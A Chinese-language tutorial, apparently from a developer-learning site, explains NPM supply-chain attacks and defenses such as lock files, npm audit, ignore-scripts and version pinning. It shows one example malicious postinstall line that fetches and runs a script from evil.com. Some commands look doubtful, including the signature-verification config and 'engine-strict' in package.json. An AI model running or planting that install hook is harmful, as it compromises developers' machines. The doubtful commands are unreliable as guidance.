全部学科
Python全栈
python
NodeJS全栈
nodejs
📅 2026-05-25 9 分钟 ✍️ juanwangdev

NPM供应链攻击与防护

NPM生态的开放性使供应链攻击成为重大威胁,理解攻击手段并部署防护是工程安全的基本要求。

供应链攻击类型

Typosquatting(拼写仿冒)

攻击者发布与流行包名近似的恶意包,依赖开发者拼写错误:

Bash
# 正确包名      仿冒包名
lodash          lodsh
express          expres
cross-env        crosss-env
JSON
# 安装时误输
npm install lodsh   # 恶意包,可能窃取环境变量

包名仅差一个字母,肉眼难以辨识。安装前务必核对包名与 npm 页面。

依赖混淆(Dependency Confusion)

利用内部包名与公共包名冲突,攻击者在 npm 公共仓库发布同名包:

Bash
// 企业内部私有包
{
  "dependencies": {
    "@company/utils": "^1.0.0"  // 内部 registry
  }
}

// 攻击者在 npmjs.com 发布同名 @company/utils@9.0.0
// npm 默认优先公共 registry,拉取到恶意版本

企业必须配置 .npmrc 的 scope 映射,确保内部包只从私有源拉取。

恶意代码注入

攻击者通过以下方式注入恶意代码:

JSON
# 1. 劫持维护者账号,直接篡改已发布包
# 2. 在 install 脚本中植入恶意命令
Bash
// 恶意 package.json
{
  "name": "malicious-pkg",
  "scripts": {
    "postinstall": "curl https://evil.com/shell.sh | bash"
  }
}
Bash
# 3. 依赖链投毒:通过间接依赖注入
# A -> B -> C(恶意)

postinstall/preinstall 脚本以当前用户权限执行,可读写任意文件、窃取凭据。

星暴攻击(Starjacking)

攻击者将恶意包标记为流行包的"推荐"或"相似",利用 npm 搜索算法提升曝光:

JSON
# npm search 时恶意包排在靠前位置
# 攻击者还会伪造下载量

依赖完整性验证

integrity 字段校验

Bash
// package-lock.json 中的 integrity
{
  "packages": {
    "node_modules/lodash": {
      "version": "4.17.21",
      "integrity": "sha512-v3kCE3e9v2x8Pf6gH6JbA1e7x..."
    }
  }
}
  • integrity 格式:sha512-<base64-hash>
  • NPM 安装时自动对比下载内容的 hash 与 integrity
  • 不匹配则安装失败,阻止被篡改的包进入项目

始终提交 package-lock.json 到版本控制,它是完整性校验的基准。

npm audit 审计

Bash
# 执行安全审计
npm audit

# 查看详细漏洞信息
npm audit --json

# 自动修复
npm audit fix

# 强制修复(可能升级主版本)
npm audit fix --force
Bash
# CI 中集成审计,发现高危漏洞则构建失败
npm audit --audit-level=high

npm audit 依赖 NPM 官方漏洞数据库,新漏洞存在上报延迟,不能作为唯一防线。

sigstore 签名验证

Bash
# npm v9+ 支持包签名验证
npm config set verify-signatures true

# 查看 npm 透明日志
npm query "#registry-signature"

NPM 与 sigstore 集成后,发布包时会生成签名,安装时可验证包来源真实性。

忽略脚本策略

JSON
# 全局禁用安装脚本
npm config set ignore-scripts true

# 单次安装时禁用
npm install --ignore-scripts

# 仅对可信包启用脚本(package.json)
{
  "scripts": {
    "postinstall": "node ./setup.js"
  }
}

禁用脚本是最有效的恶意代码防护手段,但可能导致部分包功能异常,需按项目评估。

锁定依赖版本范围

精确版本锁定

Bash
// package.json 版本写法对比
{
  "dependencies": {
    "lodash": "^4.17.21",   // 允许 4.17.22, 4.18.0 等
    "express": "~4.18.2",   // 允许 4.18.3, 4.18.4 等
    "dayjs": "1.11.7"       // 精确锁定,仅此版本
  }
}
  • 生产环境推荐精确版本或 ~ 前缀,限制小版本更新
  • ^ 前缀允许次版本更新,有引入新行为风险

lock 文件不可变策略

Bash
# npm ci 严格按 lock 文件安装,忽略 package.json 的范围
npm ci

# 禁止 npm install 修改 lock 文件(CI 环境配置)
npm install --frozen-lockfile  # Yarn
npm ci                         # NPM 等价

CI 流水线必须使用 npm ci,确保每次构建的依赖树完全一致。

npm shrinkwrap 封装依赖

Bash
# 生成 npm-shrinkwrap.json(比 lock 文件优先级更高)
npm shrinkwrap

# shrinkwrap.json 随包发布,下游安装时以此为准
  • npm-shrinkwrap.json 会被发布到 npm,锁定下游依赖
  • package-lock.json 不会发布,仅影响当前项目

库项目慎用 shrinkwrap,会强制下游使用固定版本,可能导致依赖冲突。

限制可接受版本范围

JSON
# 配置最低/最高可接受版本
npm config set save-exact true         # save 时使用精确版本
npm config set save-prefix ""           # 版本前缀为空

# engines 字段限制 Node 版本
text
// package.json
{
  "engines": {
    "node": ">=18.0.0 <21.0.0"
  },
  "engine-strict": true
}

engine-strict: true.npmrc 中配合 engine-strict=true 使用,Node 版本不满足时安装失败。

要点总结

  • 供应链攻击主要形式:Typosquatting(拼写仿冒)、依赖混淆、恶意 install 脚本、依赖链投毒
  • integrity 字段是 NPM 内置的完整性防线,必须提交 lock 文件
  • npm audit 常态化执行,CI 中设置 --audit-level=high 阻断高危漏洞
  • --ignore-scripts 禁用安装脚本是最直接的恶意代码防护
  • 生产依赖使用精确版本或 ~ 前缀,CI 必须用 npm ci 保证不可变安装
  • 企业私有包必须配置 scope 映射到私有 registry,防止依赖混淆攻击
想在手机上练习这篇文章的配套题目?
使用微信卷王开发者小程序,打开首页顶部扫码功能识别二维码
← 上一篇 依赖体积优化策略
下一篇 → npm workspaces与Monorepo管理
扫码体验小程序
加载中
想在手机上刷题学习?
使用微信卷王开发者小程序,打开首页顶部扫码功能识别二维码